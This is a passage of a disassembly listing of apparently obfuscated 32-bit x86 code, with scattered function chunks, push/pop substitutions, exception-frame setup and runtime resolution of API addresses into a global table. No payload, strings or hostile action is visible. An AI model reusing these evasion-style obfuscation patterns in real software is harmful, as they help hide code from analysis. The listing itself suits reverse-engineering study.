; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B18F8	proc near		; CODE XREF: sub_9B3A74-8BF5p
					; sub_9B3408-62A9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009B0B14 SIZE 00000020 BYTES

		push	esi
		mov	esi, eax
		push	edi
		xor	eax, eax
		push	esi
		pop	edi
		mov	ecx, 40h
		rep stosd
		stosw
		xor	eax, eax


loc_9B190B:				; CODE XREF: sub_9B18F8+1Dj
		mov	[eax+esi+2], al
		inc	eax
		cmp	eax, 100h
		jl	short loc_9B190B
		jmp	off_9B970F
sub_9B18F8	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B1920:				; CODE XREF: sub_9B1B20-2BABj
		mov	[ebp+var_330], 1


loc_9B192A:				; CODE XREF: sub_9B1B20-2BB1j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		mov	edx, [ebp+var_32C]
		push	edx
		call	dword ptr [ecx+14h]


loc_9B193F:				; CODE XREF: sub_9B1B20-5938j
		mov	eax, esi
		call	sub_9AC448
		jmp	loc_9B0A27
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B194C:				; CODE XREF: sub_9B4950-8E0Cj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B42AC
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B195C:				; CODE XREF: sub_9B1D80-32DAj
					; DATA XREF: .text:off_9BA82Co
		sub	ecx, ecx
		movzx	esi, word ptr [ebp-2022h]
		mov	cl, [ebp-2024h]
		and	ecx, 1
		push	ecx
		mov	edx, [ebp-2020h]
		push	edx
		push	ebx
		push	eax
		push	esi
		pop	ecx
		call	sub_9AF030
		or	eax, eax
		jz	loc_9B3EC4
		jmp	loc_9B0CD4
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B198C:				; CODE XREF: sub_9B3864+91j
		call	sub_9B36E8
		push	eax
		pop	ebx
		mov	[ebp+var_2064],	ebx
		push	[ebp+var_202C]
		pop	eax
		push	ebx
		pop	ecx
		and	eax, 7FFFFFFFh
		and	ecx, 7FFFFFFFh
		cmp	ecx, eax
		jbe	loc_9ACC3C
		jmp	loc_9B52B8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0D34


loc_9B19BC:				; CODE XREF: sub_9B0D34-146Bj
		mov	eax, 1
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B0D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B19C4:				; CODE XREF: sub_9AF030+1BD4j
					; DATA XREF: .text:off_9BA677o
		mov	[ebp+var_20], 1
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9AE8BD
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B19D8	proc near		; CODE XREF: sub_9ACA48+93BBj
					; DATA XREF: .text:off_9B97C5o

; FUNCTION CHUNK AT 009ADF64 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B349C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B4B5C SIZE 0000004B BYTES

		push	ebx
		lea	eax, [ebp-405Ch]
		push	eax
		push	2002h
		lea	ecx, [ebp-2020h]
		push	ecx
		mov	ebx, esi
		call	sub_9ABD30
		mov	[ebp-4054h], eax
		cmp	eax, 4
		jnz	loc_9B5E0C
		jmp	loc_9ADF64
sub_9B19D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1A08	proc near		; DATA XREF: .text:off_9BA7C1o

var_43B4	= dword	ptr -43B4h
var_4224	= word ptr -4224h
var_4214	= dword	ptr -4214h
var_4210	= dword	ptr -4210h
var_420C	= dword	ptr -420Ch
var_4208	= dword	ptr -4208h
var_4204	= dword	ptr -4204h
var_4200	= dword	ptr -4200h
var_41FC	= dword	ptr -41FCh
var_41F8	= dword	ptr -41F8h
var_41F4	= dword	ptr -41F4h
var_41F0	= dword	ptr -41F0h
var_41EC	= dword	ptr -41ECh
var_41E8	= dword	ptr -41E8h
var_41E4	= dword	ptr -41E4h
var_41E0	= dword	ptr -41E0h
var_41DC	= word ptr -41DCh
var_41DA	= byte ptr -41DAh
var_41BC	= dword	ptr -41BCh
var_404C	= byte ptr -404Ch
var_403C	= dword	ptr -403Ch
var_4038	= dword	ptr -4038h
var_4034	= dword	ptr -4034h
var_4030	= dword	ptr -4030h
var_402C	= dword	ptr -402Ch
var_4028	= dword	ptr -4028h
var_4024	= dword	ptr -4024h
var_4020	= dword	ptr -4020h
var_401C	= byte ptr -401Ch
var_201C	= byte ptr -201Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AB158 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AB698 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AB8B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AC380 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AD1C4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD46C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AD5C8 SIZE 0000006A BYTES
; FUNCTION CHUNK AT 009AD788 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AD898 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009ADB90 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009ADCA0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADD4C SIZE 00000054 BYTES
; FUNCTION CHUNK AT 009AE008 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009AE1D8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE344 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AE804 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AE954 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AE988 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AEEE8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AF0A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AF110 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AF398 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009AF780 SIZE 00000085 BYTES
; FUNCTION CHUNK AT 009AF990 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AF9A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B06A4 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B11B4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B169C SIZE 0000004D BYTES
; FUNCTION CHUNK AT 009B17B0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B1C13 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B2398 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B2C5C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B351C SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009B3778 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B4444 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009B47A0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B48CC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B4C3C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B4C68 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B525C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B5444 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B59A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B59F0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B606C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B61E4 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B90D9
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	eax, 439Ch
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	[ebp+arg_0]
		pop	esi
		mov	[ebp+var_41F4],	esi
		mov	eax, [esi+0Ch]
		mov	[ebp+var_41EC],	eax
		sub	edx, edx
		mov	ecx, 63h
		mov	[ebp+var_4], edx
		mov	[ebp+var_41F0],	edx
		xor	eax, eax
		mov	[ebp+var_41E4],	0FFFFFFFFh
		mov	[ebp+var_41DC],	dx
		lea	edi, [ebp+var_41DA]
		rep stosd
		stosw
		mov	[ebp+var_41E0],	edx
		mov	[ebp+var_4204],	edx


loc_9B1A92:				; CODE XREF: sub_9B1A08-39DDj
		push	[ebp+var_41EC]
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 0FA0h
		add	edx, 3E8h
		push	esi
		call	sub_9B5CDC
		and	eax, eax
		jnz	loc_9ADD8C
		jmp	loc_9B2398
sub_9B1A08	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B1ABC:				; CODE XREF: sub_9B1F68-2B4j
					; DATA XREF: .text:off_9BAC63o
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9B01DB
		jmp	off_9B8A0A
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B1AD3:				; CODE XREF: sub_9ACEE8+80j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	0
		call	dword ptr [eax+60h]
		push	dword ptr [ebp-10h]
		pop	ecx
		xor	eax, eax
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1B0C:				; CODE XREF: sub_9B0930+516j
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+78h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8E38
; END OF FUNCTION CHUNK	FOR sub_9B0930

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1B20	proc near		; CODE XREF: sub_9B174C-60E6p
					; sub_9AF25C-33FDp ...

var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_224		= byte ptr -224h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009ABC4C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009AC1A0 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 009AEF4C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B0A27 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009B0DB0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B1920 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B323C SIZE 0000002F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BABEB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 324h
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	edi
		sub	esi, esi
		mov	[ebp+var_18], esp
		mov	[ebp+var_330], esi
		mov	ebx, edx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], esi
		lea	edx, [ebp+var_224]
		push	edx
		push	3
		call	sub_9B6078
		add	esp, 8
		lea	eax, [ebp+var_120]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_328]
		call	sub_9ABC20
		lea	eax, [edi+1]
		call	sub_9AF3E8
		mov	esi, eax
		mov	[ebp+var_334], esi
		test	esi, esi
		jz	loc_9B0A27
		jmp	off_9BACE4
sub_9B1B20	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1BC0:				; CODE XREF: sub_9B0930-4813j
					; DATA XREF: .text:off_9B96B7o
		push	off_9BAFA7
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+8Ch], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		push	dword ptr [eax+8Ch]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BB04C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B1BF8:				; CODE XREF: sub_9ADAC4+73FCj
					; DATA XREF: .text:off_9B970Bo
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9AB8EE
		jmp	off_9B93AB
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B1C08:				; CODE XREF: sub_9ADDA4+532Dj
		jmp	off_9B2B18[edi*4]
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B1C13:				; CODE XREF: sub_9B1A08+3252j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9B1C48:				; CODE XREF: sub_9B0FD0+56j
					; DATA XREF: .text:off_9B89C6o
		cmp	dword_9BCBCC[eax*4], esi
		jnz	loc_9AFCB4
		jmp	off_9BAF5F
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1C5C:				; CODE XREF: sub_9B0930+4217j
		push	off_9B9346
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+44h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		push	dword ptr [eax+44h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE150
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9B1C93:				; CODE XREF: sub_9B6504-9024j
					; sub_9B6504-4518j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B1CAC:				; CODE XREF: sub_9B1F68-215Aj
					; DATA XREF: .text:off_9BA8B1o
		or	eax, eax
		jz	loc_9B01DB
		jmp	off_9BAC63
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B1CBF:				; CODE XREF: sub_9B31A8-2926j
					; sub_9B31A8+36j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B1CDC:				; CODE XREF: sub_9B04A8-325Cj
		inc	dword ptr [ebp-4040h]
		jmp	loc_9AD52E
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1CE8:				; CODE XREF: sub_9B0930+2FF8j
					; DATA XREF: .text:off_9BAB98o
		push	off_9B9A6A
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		mov	[edx+18h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+18h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE490
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1D1C:				; CODE XREF: sub_9B63D8-B308j
		mov	dl, [ebp-2116h]
		cmp	dl, 30h
		jl	loc_9AF944
		jmp	loc_9AFEF0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEBB8


loc_9B1D30:				; CODE XREF: sub_9AEBB8+5Bj
					; sub_9B5228+2Ej
					; DATA XREF: ...
		mov	[ebp-124h], ebx
		jmp	loc_9ABDE3
; END OF FUNCTION CHUNK	FOR sub_9AEBB8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9B1D3F:				; CODE XREF: sub_9B3B1C-7A38j
					; sub_9B3B1C-2747j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B1D5B:				; CODE XREF: sub_9B1D80-4B68j
					; sub_9B1D80-4AD5j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_9B1D80

; =============== S U B	R O U T	I N E =======================================



sub_9B1D80	proc near		; CODE XREF: sub_9B04A8+1A17p
					; sub_9B19D8+31B6p ...

; FUNCTION CHUNK AT 009AAFDC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AB080 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 009AB684 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AC220 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AC458 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AC764 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 009AD20C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD2A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD958 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADE34 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AE2D8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AE744 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AE918 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 009AEA70 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009AF1CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AF8D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AFCE8 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 009B0208 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B04DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B0CD4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B195C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B1D5B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B1E30 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B1EDC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2D74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B3070 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 009B3930 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009B3C2C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B3CE4 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B3EC4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B46A4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B4E98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B52D0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B5354 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B56D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B610C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B655C SIZE 00000014 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B971B
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	eax, 2050h
		mov	large fs:0, esp
		sub	esp, 8
		call	__alloca_probe
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	[ebp-2044h], edx
		push	dword ptr [ebp+0Ch]
		pop	esi
		mov	edi, ecx
		push	dword ptr [ebp+1Ch]
		pop	eax
		mov	[ebp-2054h], eax
		mov	eax, [ebp+20h]
		mov	[ebp-2048h], eax
		mov	ebx, [ebp+24h]
		mov	[ebp-2040h], ebx
		mov	dword ptr [ebp-4], 0
		mov	dword ptr [eax], 0
		or	ebx, ebx
		jz	loc_9B3CF3
		jmp	loc_9B3CE4
sub_9B1D80	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B1E04:				; CODE XREF: sub_9AC6DC+786Ej
		cmp	dword_9BBD10, eax
		jb	loc_9B0051
		jmp	loc_9B003C
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1E18:				; CODE XREF: sub_9B63D8-9E02j
					; sub_9B63D8-60C2j
		push	dword ptr [ebp-2130h]
		pop	eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AED08
		jmp	off_9BA374
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B1E30:				; CODE XREF: sub_9B1D80-1B72j
		mov	edx, [ebp-2020h]
		or	edx, edx
		jz	loc_9B3ECB
		jmp	off_9BA940
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B1E44:				; CODE XREF: sub_9B4FD0-623Dj
					; DATA XREF: .text:off_9BA10Fo
		mov	edx, [ebp+14h]
		cmp	dword_9BBF84[eax], edx
		jnz	loc_9AB8C4
		jmp	off_9B8E16
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+0Ch]
; START	OF FUNCTION CHUNK FOR sub_9ABC20


loc_9B1E69:				; CODE XREF: sub_9ABC20+1FE0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9ABC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B1E80:				; CODE XREF: sub_9B04A8-2A91j
					; DATA XREF: .text:off_9B8F5Co
		lea	eax, [ebp-403Ch]
		xor	edi, edi
		call	sub_9AC128
		push	edi
		lea	eax, [ebp-4054h]
		push	eax
		lea	ecx, [ebp-201Ch]
		push	ecx
		push	esi
		push	11h
		push	dword ptr [ebp+8]
		pop	edx
		push	edx
		lea	eax, [ebp-403Ch]
		push	eax
		push	dword ptr [ebp-4044h]
		pop	ecx
		push	ecx
		lea	ecx, [ebp-402Ch]
		lea	edx, [ebp-401Ch]
		call	sub_9B1D80
		push	dword ptr [ebp-4054h]
		pop	edi
		test	edi, edi
		jz	loc_9AFD43
		jmp	off_9BA911
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B1EDC:				; CODE XREF: sub_9B1D80-2BA6j
					; DATA XREF: .text:off_9B90D5o
		push	dword ptr [ebp+14h]
		pop	ebx
		cmp	ebx, 6
		jnz	loc_9AEA70
		jmp	loc_9B3930
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1EF0:				; CODE XREF: sub_9B0930+1C7Fj
		push	off_9B87D8
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+70h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+70h]
		and	ecx, ecx
		jmp	loc_9B60C0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9B1F1C:				; CODE XREF: sub_9AEDD0-33D9j
					; DATA XREF: .text:off_9B8DC2o
		cmp	dword_9BEC2C[eax], edi
		jz	loc_9AD3A8
		jmp	off_9BA891
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1F30:				; CODE XREF: sub_9B0930-4378j
					; DATA XREF: .text:off_9B88A6o
		push	off_9BAED9
		mov	eax, [eax+14h]
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+14h]
		pop	ecx
		mov	[ecx+4], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+14h]
		mov	ecx, [eax+4]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA7AC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B1F68	proc near		; DATA XREF: .text:off_9B8820o

; FUNCTION CHUNK AT 009AB2B0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AB6E4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ABDD4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009AC640 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009ACD74 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009ACE54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADDEC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AE04C SIZE 0000006B BYTES
; FUNCTION CHUNK AT 009AE84C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AFB58 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009AFD68 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AFDC0 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 009B01DB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B0C90 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B0DD8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B0E1C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B1480 SIZE 00000006 BYTES
